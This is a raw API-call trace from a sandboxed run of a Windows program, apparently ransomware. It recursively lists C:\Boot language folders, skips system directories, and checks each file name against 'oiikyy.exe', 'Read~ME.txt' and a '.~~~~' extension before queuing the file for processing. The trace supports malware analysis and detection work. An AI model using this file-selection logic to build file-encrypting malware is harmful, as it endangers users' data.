	[0061.992] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0061.992] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0061.992] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.992] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0061.992] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0061.992] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0061.992] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0061.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0061.992] GetCurrentThreadId () returned 0x618
	[0061.992] GetCurrentThreadId () returned 0x618
	[0061.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0061.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0061.992] RtlWakeConditionVariable () returned 0x1
	[0061.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0061.993] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0061.993] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0061.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0061.994] GetCurrentThreadId () returned 0x618
	[0061.994] GetCurrentThreadId () returned 0x618
	[0061.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0061.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357170
	[0061.994] RtlWakeConditionVariable () returned 0x1
	[0061.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0061.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ca88 | out: hHeap=0x300000) returned 1
	[0061.997] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0061.997] lstrcmpiW (lpString1="el-GR", lpString2="Windows") returned -1
	[0061.997] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1
	[0061.997] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1
	[0061.997] lstrcmpW (lpString1="el-GR", lpString2="AppData") returned 1
	[0061.997] StrStrW (lpFirst="\\\\?\\C:\\Boot\\el-GR", lpSrch="AppData") returned 0x0
	[0061.997] lstrlenW (lpString="C:\\Windows") returned 10
	[0061.997] lstrcmpiW (lpString1="C:\\Boot\\el-GR", lpString2="C:\\Windows") returned -1
	[0061.997] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0061.997] lstrcmpiW (lpString1="C:\\Boot\\el-GR", lpString2="C:\\System Volume Information") returned -1
	[0061.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38ca88
	[0061.997] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0061.998] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0061.998] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0061.998] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0061.998] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0061.998] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0061.998] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.998] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0061.998] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0061.998] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0061.999] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0061.999] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0061.999] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0061.999] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.999] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0061.999] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0061.999] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0061.999] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0061.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0061.999] GetCurrentThreadId () returned 0x618
	[0061.999] GetCurrentThreadId () returned 0x618
	[0061.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0061.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0061.999] RtlWakeConditionVariable () returned 0x1
	[0062.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.001] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.001] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0062.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0062.001] GetCurrentThreadId () returned 0x618
	[0062.001] GetCurrentThreadId () returned 0x618
	[0062.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0062.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0062.001] RtlWakeConditionVariable () returned 0x1
	[0062.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0062.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ca88 | out: hHeap=0x300000) returned 1
	[0062.005] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0062.005] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0062.005] lstrcmpW (lpString1="en-US", lpString2=".") returned 1
	[0062.005] lstrcmpW (lpString1="en-US", lpString2="..") returned 1
	[0062.005] lstrcmpW (lpString1="en-US", lpString2="AppData") returned 1
	[0062.005] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US", lpSrch="AppData") returned 0x0
	[0062.005] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.005] lstrcmpiW (lpString1="C:\\Boot\\en-US", lpString2="C:\\Windows") returned -1
	[0062.005] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.005] lstrcmpiW (lpString1="C:\\Boot\\en-US", lpString2="C:\\System Volume Information") returned -1
	[0062.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38ca88
	[0062.005] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0062.005] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.005] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.006] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.006] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.006] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.006] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.006] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.006] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.006] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.006] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.006] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.006] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.006] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.006] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.006] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.006] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.007] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.007] GetCurrentThreadId () returned 0x618
	[0062.007] GetCurrentThreadId () returned 0x618
	[0062.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0062.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.007] RtlWakeConditionVariable () returned 0x1
	[0062.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.008] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0062.008] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="Windows") returned -1
	[0062.008] lstrcmpW (lpString1="memtest.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.008] StrStrW (lpFirst="memtest.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.008] lstrcmpW (lpString1="memtest.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.008] GetCurrentThreadId () returned 0x618
	[0062.009] GetCurrentThreadId () returned 0x618
	[0062.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0062.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.009] RtlWakeConditionVariable () returned 0x1
	[0062.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.010] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0062.010] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0062.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0062.010] GetCurrentThreadId () returned 0x618
	[0062.010] GetCurrentThreadId () returned 0x618
	[0062.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0062.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357170
	[0062.010] RtlWakeConditionVariable () returned 0x1
	[0062.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0062.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ca88 | out: hHeap=0x300000) returned 1
	[0062.014] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0062.014] lstrcmpiW (lpString1="es-ES", lpString2="Windows") returned -1
	[0062.014] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1
	[0062.014] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1
	[0062.014] lstrcmpW (lpString1="es-ES", lpString2="AppData") returned 1
	[0062.014] StrStrW (lpFirst="\\\\?\\C:\\Boot\\es-ES", lpSrch="AppData") returned 0x0
	[0062.014] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.014] lstrcmpiW (lpString1="C:\\Boot\\es-ES", lpString2="C:\\Windows") returned -1
	[0062.014] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.014] lstrcmpiW (lpString1="C:\\Boot\\es-ES", lpString2="C:\\System Volume Information") returned -1
	[0062.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38ca88
	[0062.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0062.071] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.071] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.071] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.071] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.071] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.071] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.071] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.071] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.071] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.071] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.071] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.071] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.071] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.071] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.071] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.071] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.071] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.071] GetCurrentThreadId () returned 0x618
	[0062.071] GetCurrentThreadId () returned 0x618
	[0062.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.072] RtlWakeConditionVariable () returned 0x1
	[0062.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.073] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.073] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0062.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.073] GetCurrentThreadId () returned 0x618
	[0062.073] GetCurrentThreadId () returned 0x618
	[0062.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.074] RtlWakeConditionVariable () returned 0x1
	[0062.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ca88 | out: hHeap=0x300000) returned 1
	[0062.076] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0062.076] lstrcmpiW (lpString1="fi-FI", lpString2="Windows") returned -1
	[0062.076] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1
	[0062.076] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1
	[0062.076] lstrcmpW (lpString1="fi-FI", lpString2="AppData") returned 1
	[0062.076] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fi-FI", lpSrch="AppData") returned 0x0
	[0062.076] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.076] lstrcmpiW (lpString1="C:\\Boot\\fi-FI", lpString2="C:\\Windows") returned -1
	[0062.076] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.076] lstrcmpiW (lpString1="C:\\Boot\\fi-FI", lpString2="C:\\System Volume Information") returned -1
	[0062.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0062.077] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.077] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.077] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.077] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.077] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.077] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.077] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.077] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.077] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.077] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.077] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.077] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.077] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.077] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.077] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.077] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.077] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
